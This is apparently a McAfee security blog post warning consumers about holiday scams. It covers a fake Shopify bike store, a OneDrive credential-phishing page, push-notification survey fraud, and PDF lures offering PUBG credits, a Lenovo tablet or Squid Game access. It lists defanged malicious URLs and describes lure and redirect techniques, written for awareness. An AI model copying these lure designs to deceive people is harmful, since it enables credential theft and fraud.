So, where there is money to be made, individuals are looking to take advantage. Shopify scam targets both consumers and business owners. Scammer abuse the power of e-commerce to earn money by implementing fake stores. They observe the product or category, create an attractive logo or image and promote extensively on social media.
Fake Bike Online Purchase store – Mountain-ranger-com
Site: hxxps://mountain-ranger-com.myshopify.com/collections/all
SSL info:
This site is hosted on Shopify, so it has a valid SSL cert which is the first thing we check on where we transact.
Whois Record ( last updated on 2021-11-19 )
Domain Name: myshopify.com
Registry Domain ID: 362759365_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2021-03-02T23:39:12+0000
Creation Date: 2006-03-03T03:01:37+0000
Registrar Registration Expiration Date: 2024-03-02T08:00:00+0000
Registrar: MarkMonitor, Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone: +1.2083895770
Domain Status: clientUpdateProhibited (https://www.icann.org/epp#clientUpdateProhibited)
Domain Status: clientTransferProhibited (https://www.icann.org/epp#clientTransferProhibited)
Domain Status: clientDeleteProhibited (https://www.icann.org/epp#clientDeleteProhibited)
Domain Status: serverUpdateProhibited (https://www.icann.org/epp#serverUpdateProhibited)
Domain Status: serverTransferProhibited (https://www.icann.org/epp#serverTransferProhibited)
Domain Status: serverDeleteProhibited (https://www.icann.org/epp#serverDeleteProhibited)
Registrant Organization: Shopify Inc.
Registrant State/Province: ON
Registrant Country: CA
Registrant Email: Select Request Email Format
The registrar info for the site is valid too, as it is hosted on Shopify. If you look closer, however, one will notice red flags:
Examples of similar sites showing incredible discounts.
2. The “About Us” doesn’t make much sense when you see the products that are being offered:
A quick google on the text shows that multiple sites are using the same exact text (most of them probably fake)
3. There are no customer reviews about the products listed.
4. It has a public email server (gmail) in its return policy
5. Looking up the list address in google maps wouldn’t show up anything and looking up the number in apps like true caller shows it’s fake.
The goal of this scam is to steal credentials however it could as well be used as a malware delivery mechanism. The screenshot is that of a fake business proposal hosted on OneDrive Cloud for phishing purposes.
The actor aims to mislead the user into clicking on the above reference link. When the user clicks on the link, it redirects to a different website that displays the below fake OneDrive screenshot.
hxxps://aidaccounts[.]com/11/verified/22/
If a user enters their OneDrive details, the actors receive them at their backend. This means that this victim has lost their login credentials to the phishing actors. Look at the address bar and trust your instincts. This is in no way related to Microsoft OneDrive. There are other such examples where they do some additional plumbing of the URL to include keywords that make it more believable – as they did in the SMSishing example above.
The goal here is to get the user to accept push notifications. Doing so makes the customer susceptible to other possible scams. In this example, the scammers attempt to get users to fill out surveys. Legit companies online pay users for surveys. A referral code is used to pay the survey taker. The scammer in this case attempts to get others to fill the survey on their behalf and therefore makes money when such surveys use the scammer’s referral code. Push notifications are used to get the victims to fill out surveys. Previous blogs from McAfee demonstrate similar scams and how to prevent such notifications
The initial vector comes to the victim via a spam email with a PDF Spam attachment. In this scenario, Gmail was used as the sender.
Upon opening the PDF, a fake online PUBG (Players Unknown Battleground) credits generator gets opened. In PUBG, Gamers need credits to participate in various online games and so this scam baits them offering free credits.
Once the user clicks on the bait URL, it opens a google feed proxy URL.
Malicious websites are destined to be block-listed and therefore have short shelf lives. Google’s feed proxy redirects them in adapting to new URLs and therefore utilizes a fast-flux mechanism as a technique to keep the campaign alive. Usage of feed proxy are not new and we have highlighted its use in the past by the hancitor botnet.
Clicking on the top highlighted URL, it navigates to a webpage that poses as a PUBG Arcane online credit generator.
To make the online generator look real, the website has added fake recent activities highlighting coins users have earned via this generator. Even the add comments section is fake.
Clicking on continue will bring up a fake progress bar. Now the site shows the coins and cash are ready, however, an automated human verification has failed, and a survey has to be taken up for getting the reward.
A clickable link for this verification is also loaded. Once clicked, a small dialog with 3 options are presented.
Clicking on “want to become a millionaire” loaded a survey page and prompts you to take it up. It will also prompt you to allow push notifications from this website.
Once you click on “Allow”, notifications to take up a survey or fake personalized offer notifications start popping up. Be it on your desktop or on your mobile, these notifications pop-ups to take up more surveys.
Clicking on the other links too from “Human Verification”, you will realize that you have finally ended up not gaining anything for your PUBG Arcane gaming, but ended up taking surveys.
Here is another example of a PDF theme we have seen as a lure on the Lenovo tablet offer.
Clicking on this link takes the user to a page that claims it has been protected by a technique to block bots. Persuading you to click on the allow button for enabling popups.
Once you click on the enable button, it then redirects the browser to take up a random survey. In our case, the survey was on household income.
Another such theme that we observed was around the latest Netflix series – Squid games. Although Series 1 has currently been released, the fake email prompts early access to Season 2.
Scammers spend a lot of time and effort tweaking and tuning their schemes to make it fit just right for you. Avoiding a scam is not full proof but being vigilant is key. Don’t get overly keen when you get offers thrown at you this season. Take a step back, relax and think it through, not only should you do your own research, but you should also trust your instincts. Spending a little extra on products or making donations to a reputable and known organization might be worth the peace of mind during the holidays. Help educate your family and contribute by reporting scams.
Happy Holidays!
The post ‘Tis the Season for Scams appeared first on McAfee Blog.
FreshRSS 